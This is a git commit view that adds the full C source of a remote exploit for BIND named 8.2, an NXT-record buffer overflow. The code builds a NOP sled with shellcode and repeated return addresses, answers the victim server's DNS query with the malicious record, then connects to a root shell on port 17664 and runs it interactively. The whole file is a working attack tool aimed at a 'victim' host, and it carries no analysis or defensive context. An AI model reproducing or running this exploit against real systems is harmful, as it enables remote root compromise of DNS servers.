summaryrefslogtreecommitdiff
path: root/exploits/7350bindnxt/nxt.c
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits/7350bindnxt/nxt.c
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'exploits/7350bindnxt/nxt.c')
-rw-r--r--exploits/7350bindnxt/nxt.c462
1 files changed, 462 insertions, 0 deletions
diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c
new file mode 100644
index 0000000..090edb2
--- /dev/null
+++ b/exploits/7350bindnxt/nxt.c
@@ -0,0 +1,462 @@
1/* Preliminary exploit for named 8.2 on linux by z-.
2 *
3 * thx to horizon and jayenz.
4 *
5 * NB: u need to get the nameserver to query the exploit, something along
6 * the lines of:
7 * $ nslookup asdfasdf.urdomain.com victim.server.com
8 */
9
10#include <stdio.h>
11#include <unistd.h>
12#include <stdlib.h>
13#include <sys/time.h>
14#include <sys/types.h>
15#include <sys/socket.h>
16#include <netinet/in.h>
17#include <arpa/inet.h>
18#include <arpa/nameser.h>
19#include <netdb.h>
20#include "dnslib.h"
21#include "code.h"
22
23#define DEBUG
24#ifndef T_NXT
25#define T_NXT 30
26#endif
27
28int connect_portshell (struct in_addr ip);
29int run_shell (int fd);
30
31#define SLEEP 2
32#define CODE_PORT 17664
33
34#define RET_CNT 16 /* number of times to repeat the return address */
35#define RET_POS 4133 /* distance till end of the buffer */
36
37#define NOP 0x09
38
39#define SA struct sockaddr
40
41typedef struct type {
42 char *name;
43 unsigned long ret;
44 int arch;
45} type;
46
47type types[]=
48 {
49 {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386},
50 {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */
51 {NULL, 0, 0}
52 };
53
54u_int type_cnt = (sizeof (types) / sizeof (type)) - 1,
55 victim_type = 0,
56 shellcode_type = PORTSHELL;
57
58char *ourdomain;
59
60void pfatal (char *s);
61int resolv (char *hostname, struct in_addr *ip);
62void usage (char *prog);
63
64/* actually make the egg to overflow the data[] buffer, including nops.
65 * returns length of egg.
66 */
67int
68make_egg (char *ptr)
69{
70 u_int *ret_ptr;
71 c0de *c0de_ptr;
72 char *code;
73 int i,
74 codesize,
75 arch;
76
77
78 /* don't bother sanity checking here */
79
80 arch = types[victim_type].arch;
81
82 c0de_ptr = archs[arch];
83
84 code = c0de_ptr[shellcode_type].code;
85 codesize = c0de_ptr[shellcode_type].codesize;
86
87#ifdef DEBUG
88 printf ("codesize = %d\n", codesize);
89#endif
90 memset (ptr, NOP, RET_POS);
91 memcpy (ptr + RET_POS - codesize, code, codesize);
92
93 /* risc alignment is evil ! */
94 ret_ptr = (u_int *)(ptr + RET_POS);
95 for (i = 0; i < RET_CNT; i++)
96 *ret_ptr++ = types[victim_type].ret;
97
98 return (RET_POS + 4 * RET_CNT);
99}
100
101/* send exploit data to 'victim'.
102 * returns connected descriptor on succes
103 * returns -1 on error
104 */
105int
106send_data (struct sockaddr_in *victim, char *buf, int len)
107{
108 struct sockaddr_in sin;
109 int fd;
110 u_short lennbo;
111
112 fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
113 if (fd < 0)
114 return (-1);
115
116 /* we need to bind to port 53 to appear as named */
117
118 bzero (&sin, sizeof (sin));
119 sin.sin_family = AF_INET;
120 sin.sin_addr.s_addr = htonl (INADDR_ANY);
121 sin.sin_port = htons (53);
122
123 printf("Binding to local port 53...\n");
124 if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) {
125 close (fd);
126 return (-1);
127 }
128
129 victim->sin_port = htons (53);
130
131 if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) {
132 close (fd);
133 return (-1);
134 }
135
136 printf("Sending packet of length %d\n", len);
137
138 lennbo = htons (len);
139 send (fd, &lennbo, sizeof(u_short), 0);
140 if (send (fd, buf, len, 0) < len) {
141 close (fd);
142 return (-1);
143 }
144
145 return (fd);
146}
147
148/* make the dns packet to exploit named and call send_data().
149 * returns the result of send_data()
150 */
151int
152send_exploit (u_char *buf, struct sockaddr_in *victim)
153{
154 u_char response[5120],
155 query[256],
156 tmp_str[100],
157 *ptr, *tmp;
158 u_short type;
159 HEADER *hdr;
160
161 ptr = buf + DNSHDRSIZE;
162 ptr += uncompress (ptr, query, buf);
163 GETSHORT (type, ptr)
164
165 printf("Query %s type %d\n", query, type);
166
167 hdr = (HEADER *)response;
168 hdr->id = ((HEADER *)buf)->id;
169 hdr->qr = 1; /* answer */
170 hdr->aa = 1; /* authoritative */
171 hdr->qdcount = htons (1);
172 hdr->ancount = htons (1);
173 hdr->nscount = htons (0);
174 hdr->arcount = htons (1);
175 ptr = response + sizeof (HEADER);
176
177 ptr += makeqbody (query, type, ptr);
178
179 /* do the answer */
180 switch (type) {
181 case T_A:
182 ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr);
183 break;
184 case T_PTR:
185 case T_NS:
186 sprintf (tmp_str, "rand0m.%s", ourdomain);
187 ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr);
188 break;
189 default:
190 printf("Krazy packetz\n");
191 exit(-1);
192 }
193
194 /* now do the overflow */
195 /* first comes the query name again.
196 */
197 ptr += formatname (query, ptr);
198 PUTSHORT (T_NXT, ptr);
199 PUTSHORT (C_IN, ptr);
200 PUTLONG (100000, ptr);
201 tmp = ptr; /* tmp points to rdlength */
202
203 /* now do rdata section. */
204 ptr += 2;
205 /* first any domain u want, note the length affects the ret */
206 ptr += formatname ("smiler", ptr);
207 /* then the arbitrary data */
208 ptr += make_egg (ptr);
209 PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */
210
211 return (send_data (victim, response, ptr - response));
212}
213
214/* loop waiting for the query from 'victim'.
215 * returns the result of send_exploit()
216 */
217int
218wait_for_connection (struct in_addr victim)
219{
220 struct sockaddr_in from;
221 u_char beef[512];
222 int fd,
223 n, fromlen;
224
225 fd = socket (AF_INET, SOCK_DGRAM, 0);
226 if (fd < 0)
227 pfatal ("socket");
228
229 bzero (&from, sizeof(from));
230 from.sin_addr.s_addr = htonl(INADDR_ANY);
231 from.sin_port = htons(53);
232 from.sin_family = AF_INET;
233
234 if (bind (fd, (SA *)&from, sizeof(from)) < 0)
235 return (-1);
236
237 printf ("Waiting for query packet from victim...\n");
238
239 for (;;) {
240 HEADER *ptr;
241
242 fromlen = sizeof(from);
243 n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from,
244 &fromlen);
245 if (n <= 0)
246 return (-1);
247#ifdef DEBUG
248 fprintf(stderr, "Packet from %s %d\n", inet_ntoa
249 (from.sin_addr), ntohs(from.sin_port));
250#endif
251
252 if (from.sin_addr.s_addr != victim.s_addr)
253 continue;
254
255#ifndef DEBUG
256 fprintf (stderr, "Got packet from %s %d\n",
257 inet_ntoa (from.sin_addr), ntohs (from.sin_port));
258#endif
259
260 ptr = (HEADER *)beef;
261 if (ptr->qr || !ptr->qdcount)
262 continue;
263
264 close (fd);
265 return (send_exploit (beef, &from));
266 break;
267 }
268 return (0);
269}
270
271void
272parse_opts (int argc, char **argv, struct in_addr *victim)
273{
274 char *argv0,
275 d;
276 int arch;
277 c0de *c0de_ptr;
278
279 argv0 = strdup (argv[0]);
280
281 while ((d = getopt (argc, argv, "s:t:")) != -1) {
282 switch (d) {
283 case 's':
284 shellcode_type = atol (optarg);
285 if (shellcode_type >= TYPE_MAX) {
286 fprintf (stderr, "shellcode out of range\n");
287 exit (-1);
288 }
289 break;
290 case 't':
291 victim_type = atol (optarg);
292 if (victim_type >= type_cnt) {
293 fprintf (stderr, "No such type\n");
294 exit (-1);
295 }
296 break;
297 }
298 }
299
300 arch = types[victim_type].arch;
301 c0de_ptr = archs[arch];
302
303 if (c0de_ptr[shellcode_type].code == NULL) {
304 printf ("No %s for arch %s :(\n",
305 code_str[shellcode_type], archs_str[arch]);
306 exit (-1);
307 }
308
309 argc -= optind;
310 argv += optind;
311
312 if (argc < 2)
313 usage (argv0);
314
315 if (!resolv (argv[0], victim)) {
316 herror ("resolv");
317 exit (-1);
318 }
319
320 ourdomain = strdup (argv[1]);
321 return;
322}
323
324int
325main (int argc, char **argv)
326{
327 struct in_addr victim;
328 int fd;
329
330 puts ("NXT exploit by z-\n");
331
332 parse_opts (argc, argv, &victim);
333
334 printf ("using type %d - %s\n", victim_type, types[victim_type].name);
335 printf ("exploit arch %s\n", archs_str[types[victim_type].arch]);
336 printf ("using %s\n", code_str[shellcode_type]);
337
338 if ((fd = wait_for_connection (victim)) < 0) {
339 perror("ERROR");
340 return (-1);
341 }
342 if (shellcode_type == PORTSHELL) {
343 close (fd); /* get rid of domain connection */
344 printf("Sleeping for %d seconds\n", SLEEP);
345 sleep (SLEEP);
346
347 /* and get the portshell connection */
348 if ((fd = connect_portshell (victim)) < 0) {
349 perror ("connect_portshell");
350 return (-1);
351 }
352 }
353
354 if (run_shell (fd) < 0) {
355 perror ("connect_shell");
356 return (-1);
357 }
358
359 return (0);
360}
361
362/* connects 'fd' to your term, effectively.
363 */
364int
365run_shell (int fd)
366{
367 fd_set rset;
368 int n;
369 char buffer[4096];
370
371 send (fd, "/bin/uname -a\n", 14, 0);
372
373 for (;;) {
374 FD_ZERO (&rset);
375 FD_SET (fd, &rset);
376 FD_SET (STDIN_FILENO, &rset);
377
378 n = select (fd + 1, &rset, NULL, NULL, NULL);
379 if (n <= 0)
380 return (-1);
381
382 if (FD_ISSET (fd, &rset)) {
383 n = recv (fd, buffer, sizeof (buffer), 0);
384 if (n <= 0)
385 break;
386
387 write (STDOUT_FILENO, buffer, n);
388 }
389
390 if (FD_ISSET (STDIN_FILENO, &rset)) {
391 n = read (STDIN_FILENO, buffer, sizeof (buffer));
392 if (n <= 0)
393 break;
394
395 send (fd, buffer, n, 0);
396 }
397 }
398 return (0);
399}
400
401/* connect to the relevant high port.
402 */
403int
404connect_portshell (struct in_addr ip)
405{
406 int fd;
407 struct sockaddr_in sin;
408
409 printf ("Trying to connect to root shell...\n");
410
411 fd = socket (AF_INET, SOCK_STREAM, 0);
412 if (fd < 0)
413 return (-1);
414
415 bzero (&sin, sizeof (sin));
416 sin.sin_addr.s_addr = ip.s_addr;
417 sin.sin_port = htons (CODE_PORT);
418 sin.sin_family = AF_INET;
419
420 if (connect (fd, (SA *)&sin, sizeof (sin)) < 0)
421 return (-1);
422
423 return (fd);
424}
425
426int
427resolv (char *hostname, struct in_addr *ip)
428{
429 struct hostent *res;
430
431 if (inet_aton (hostname, ip))
432 return (1);
433
434 res = gethostbyname (hostname);
435 if (res == NULL)
436 return (0);
437
438 memcpy (ip, res->h_addr, sizeof (struct in_addr));
439 return (1);
440}
441
442void
443usage (char *prog)
444{
445 type *ptr;
446 int ctr = 0;
447
448 fprintf (stderr, "usage: %s <victim> <ur domain> [-t type] [-s shellcode type]\n", prog);
449 for (ptr = types; ptr->name; ptr += 1, ctr++) {
450 printf ("type %d: %s\n", ctr, ptr->name);
451 }
452 printf ("shellcode 0: portshell code\n");
453 printf ("shellcode 1: peername code\n");
454 exit(-1);
455}
456
457void
458pfatal (char *s)
459{
460 perror (s);
461 exit(-1);
462}